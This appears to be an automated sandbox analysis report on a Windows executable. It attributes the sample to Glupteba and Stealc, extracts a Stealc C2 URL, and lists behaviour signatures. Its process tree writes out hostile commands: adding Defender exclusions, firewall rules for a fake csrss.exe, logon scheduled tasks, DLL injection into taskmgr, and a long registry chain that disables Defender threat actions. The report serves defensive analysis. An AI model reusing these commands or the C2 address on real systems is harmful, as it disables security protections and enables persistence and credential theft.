Overview

overview

10

Static

static

1

winprofile

windows7-x64

winprofile

windows10-1703-x64

Analysis

  • max time kernel
    157s
  • max time network
    158s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    18-04-2024 22:21

Sharing

Copy URL
Twitter E-mail

Errors

Reason
Machine shutdown: "{\"level\":\"info\",\"time\":\"2024-04-18T22:23:54Z\",\"message\":\"Dirty snapshot: /var/lib/sandbox/hatchvm/win10-20240404-en/instance_20-dirty.qcow2\"}"
Report Analysis Logs

General

  • Target

    0e236536f9fc793be5f2e276555817d0bb9206e9d56904bc509188bc42515129.exe

  • Size

    559KB

  • MD5

    9ee0c556e1b952495a74709e6b06459a

  • SHA1

    1b631e41b43d6f7ef3f7d140c1eb14ecf1cd861d

  • SHA256

    0e236536f9fc793be5f2e276555817d0bb9206e9d56904bc509188bc42515129

  • SHA512

    1ec91c9e0ab4e359be73677f81150922ed06fc58e621e2115d4c607afb94dbf69a8362db14a531ff6aba69b1dc8e3cd2a0aa0ba626320caa9c250060bbe44558

  • SSDEEP

    12288:yi/BY1Np6gS4GerR72nfELsEtYi19W5I3v/CgeX:yGY5dr2RECW9II/uX

Score
10/10
gluptebastealcdiscoverydropperevasionloaderpersistencerootkitspywarestealerthemidatrojan

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.209

Attributes
  • url_path

    /3cd2b41cbde8fc9c.php

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 13 IoCs
  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Windows security bypass 2 TTPs 8 IoCs
    evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 3 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 8 IoCs
  • Executes dropped EXE 31 IoCs
  • Loads dropped DLL 20 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Registers COM server for autorun 1 TTPs 14 IoCs
    persistence
  • Themida packer 8 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Windows security modification 2 TTPs 8 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 3 IoCs
    evasiontrojan
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 27 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Drops file in System32 directory 51 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 27 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\0e236536f9fc793be5f2e276555817d0bb9206e9d56904bc509188bc42515129.exe
    "C:\Users\Admin\AppData\Local\Temp\0e236536f9fc793be5f2e276555817d0bb9206e9d56904bc509188bc42515129.exe"
    1⤵
    • UAC bypass
    • Checks whether UAC is enabled
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:5116
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\0e236536f9fc793be5f2e276555817d0bb9206e9d56904bc509188bc42515129.exe" -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5080
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
      2⤵
      • Drops startup file
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2156
      • C:\Users\Admin\Pictures\nDn5ffZRK7YUAYZvHAmJ16d1.exe
        "C:\Users\Admin\Pictures\nDn5ffZRK7YUAYZvHAmJ16d1.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1280
        • C:\Users\Admin\AppData\Local\Temp\uzk.0.exe
          "C:\Users\Admin\AppData\Local\Temp\uzk.0.exe"
          4⤵
          • Executes dropped EXE
          PID:1764
        • C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe
          "C:\Users\Admin\AppData\Local\Temp\Qg_Appv5.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          PID:4704
          • C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exe
            C:\Users\Admin\AppData\Local\Temp\Zqicom_beta\UniversalInstaller.exe
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            PID:1412
            • C:\Users\Admin\AppData\Roaming\Zqicom_beta\UniversalInstaller.exe
              C:\Users\Admin\AppData\Roaming\Zqicom_beta\UniversalInstaller.exe
              6⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of SetWindowsHookEx
              PID:5232
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\SysWOW64\cmd.exe
                7⤵
                • Suspicious use of SetThreadContext
                • Drops file in Windows directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                PID:5400
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  8⤵
                  • Suspicious use of SetWindowsHookEx
                  PID:5972
        • C:\Users\Admin\AppData\Local\Temp\uzk.1.exe
          "C:\Users\Admin\AppData\Local\Temp\uzk.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:776
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:6088
      • C:\Users\Admin\Pictures\KZSMy2NALXMhLrX94etcmSF0.exe
        "C:\Users\Admin\Pictures\KZSMy2NALXMhLrX94etcmSF0.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1052
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -nologo -noprofile
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2592
        • C:\Users\Admin\Pictures\KZSMy2NALXMhLrX94etcmSF0.exe
          "C:\Users\Admin\Pictures\KZSMy2NALXMhLrX94etcmSF0.exe"
          4⤵
          • Windows security bypass
          • Executes dropped EXE
          • Windows security modification
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          PID:5652
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            5⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:3992
          • C:\Windows\System32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
              PID:1052
              • C:\Windows\system32\netsh.exe
                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                6⤵
                • Modifies Windows Firewall
                PID:60
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              5⤵
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              PID:3928
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              5⤵
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              PID:784
        • C:\Users\Admin\Pictures\mC4R7VDIEc3TqCsFpSrdTida.exe
          "C:\Users\Admin\Pictures\mC4R7VDIEc3TqCsFpSrdTida.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4760
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1160
          • C:\Users\Admin\Pictures\mC4R7VDIEc3TqCsFpSrdTida.exe
            "C:\Users\Admin\Pictures\mC4R7VDIEc3TqCsFpSrdTida.exe"
            4⤵
            • Windows security bypass
            • Executes dropped EXE
            • Windows security modification
            • Adds Run key to start application
            • Checks for VirtualBox DLLs, possible anti-VM trick
            • Drops file in Windows directory
            PID:5680
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              5⤵
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              PID:700
            • C:\Windows\System32\cmd.exe
              C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
              5⤵
                PID:5184
                • C:\Windows\system32\netsh.exe
                  netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                  6⤵
                  • Modifies Windows Firewall
                  • Modifies data under HKEY_USERS
                  PID:5956
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -nologo -noprofile
                5⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                PID:5896
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -nologo -noprofile
                5⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                PID:2452
              • C:\Windows\rss\csrss.exe
                C:\Windows\rss\csrss.exe
                5⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Manipulates WinMonFS driver.
                • Drops file in Windows directory
                PID:1924
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  6⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  PID:5332
                • C:\Windows\SYSTEM32\schtasks.exe
                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                  6⤵
                  • Creates scheduled task(s)
                  PID:1252
                • C:\Windows\SYSTEM32\schtasks.exe
                  schtasks /delete /tn ScheduledUpdate /f
                  6⤵
                    PID:780
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    6⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:5288
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    6⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    PID:5592
                  • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                    C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                    6⤵
                    • Executes dropped EXE
                    PID:5904
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                    6⤵
                    • Creates scheduled task(s)
                    PID:4200
                    • C:\Windows\System32\Conhost.exe
                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      7⤵
                        PID:5456
                    • C:\Windows\windefender.exe
                      "C:\Windows\windefender.exe"
                      6⤵
                      • Executes dropped EXE
                      PID:5668
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                        7⤵
                          PID:596
                          • C:\Windows\SysWOW64\sc.exe
                            sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                            8⤵
                            • Launches sc.exe
                            PID:5152
                • C:\Users\Admin\Pictures\YsF2UsLfNlSyJaOcXDwou3xB.exe
                  "C:\Users\Admin\Pictures\YsF2UsLfNlSyJaOcXDwou3xB.exe"
                  3⤵
                  • Modifies firewall policy service
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Checks whether UAC is enabled
                  • Drops file in System32 directory
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  PID:1844
                • C:\Users\Admin\Pictures\U6VuGN6LInYO3saFNVAbVAHS.exe
                  "C:\Users\Admin\Pictures\U6VuGN6LInYO3saFNVAbVAHS.exe" --silent --allusers=0
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Enumerates connected drives
                  • Modifies system certificate store
                  • Suspicious use of WriteProcessMemory
                  PID:196
                  • C:\Users\Admin\Pictures\U6VuGN6LInYO3saFNVAbVAHS.exe
                    C:\Users\Admin\Pictures\U6VuGN6LInYO3saFNVAbVAHS.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2a8,0x2ac,0x2b0,0x2a4,0x2b4,0x6e80e1d0,0x6e80e1dc,0x6e80e1e8
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:4264
                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\U6VuGN6LInYO3saFNVAbVAHS.exe
                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\U6VuGN6LInYO3saFNVAbVAHS.exe" --version
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:4340
                  • C:\Users\Admin\Pictures\U6VuGN6LInYO3saFNVAbVAHS.exe
                    "C:\Users\Admin\Pictures\U6VuGN6LInYO3saFNVAbVAHS.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=196 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240418222128" --session-guid=ad33a579-a974-4ea6-a0cc-fc52ce608385 --server-tracking-blob="Yzc1ZmUwOGY4YWEzZWIwNjUyNzQ5M2RkMzJjYmEzZDAzN2RiNDYzMTAwZDllNDI2YTVhMTdkYmU0YmYxMzJmMDp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEzNDc4ODc5LjQ4OTgiLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiN2EzYjg5Y2MtNTVmZS00OTNmLTk0NzctMDNmZmZhYTRiMDFhIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=AC04000000000000
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Enumerates connected drives
                    • Suspicious use of WriteProcessMemory
                    PID:2088
                    • C:\Users\Admin\Pictures\U6VuGN6LInYO3saFNVAbVAHS.exe
                      C:\Users\Admin\Pictures\U6VuGN6LInYO3saFNVAbVAHS.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2a0,0x2a4,0x2b4,0x27c,0x2b8,0x6d83e1d0,0x6d83e1dc,0x6d83e1e8
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:1028
                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182221281\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182221281\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"
                    4⤵
                    • Executes dropped EXE
                    PID:5608
                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182221281\assistant\assistant_installer.exe
                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182221281\assistant\assistant_installer.exe" --version
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:5804
                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182221281\assistant\assistant_installer.exe
                      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404182221281\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x240,0x244,0x248,0x21c,0x24c,0x2c6038,0x2c6044,0x2c6050
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:5724
                • C:\Users\Admin\Pictures\6TTEZBrOfU6ZJgIScOy2pAE8.exe
                  "C:\Users\Admin\Pictures\6TTEZBrOfU6ZJgIScOy2pAE8.exe"
                  3⤵
                  • Executes dropped EXE
                  • Suspicious use of WriteProcessMemory
                  PID:1540
                  • C:\Users\Admin\AppData\Local\Temp\7zS94FC.tmp\Install.exe
                    .\Install.exe /sQwdidHh "385118" /S
                    4⤵
                    • Checks BIOS information in registry
                    • Executes dropped EXE
                    • Enumerates system info in registry
                    • Suspicious use of WriteProcessMemory
                    PID:3260
                    • C:\Windows\SysWOW64\forfiles.exe
                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4376
                      • C:\Windows\SysWOW64\cmd.exe
                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                        6⤵
                        • Suspicious use of WriteProcessMemory
                        PID:208
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                          7⤵
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:4448
                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                            8⤵
                            • Suspicious use of AdjustPrivilegeToken
                            PID:1872
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 22:22:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\MVFgdCH.exe\" em /hrsite_idZnn 385118 /S" /V1 /F
                      5⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:876
                • C:\Users\Admin\Pictures\UAgoGwv0103uKLE3FVv16I8T.exe
                  "C:\Users\Admin\Pictures\UAgoGwv0103uKLE3FVv16I8T.exe"
                  3⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  PID:2780
                  • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe
                    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe
                    4⤵
                    • Executes dropped EXE
                    PID:6056
                    • C:\Windows\SYSTEM32\msiexec.exe
                      "msiexec.exe" /qn /i VirtualBox-6.1.20-r143896.msi ADDLOCAL=VBoxApplication,VBoxPython VBOX_INSTALLDESKTOPSHORTCUT=0 VBOX_INSTALLQUICKLAUNCHSHORTCUT=0 /log "C:\Users\Admin\AppData\Local\Temp\charityengine-install-vbox-log.txt"
                      5⤵
                        PID:5752
                      • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce_7.14.2_windows_x86_64.exe
                        "ce_7.14.2_windows_x86_64.exe" /S /v"/qn ACCTMGR_LOGIN=anonymous ACCTMGR_PASSWORDHASH=S16-01 /norestart /log C:\Users\Admin\AppData\Local\Temp\charityengine-install-ce-log.txt"
                        5⤵
                        • Executes dropped EXE
                        PID:2064
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                  2⤵
                    PID:3372
                • \??\c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                  1⤵
                    PID:2912
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                    1⤵
                      PID:4012
                    • C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\MVFgdCH.exe
                      C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\MVFgdCH.exe em /hrsite_idZnn 385118 /S
                      1⤵
                      • Executes dropped EXE
                      • Drops desktop.ini file(s)
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      PID:5512
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 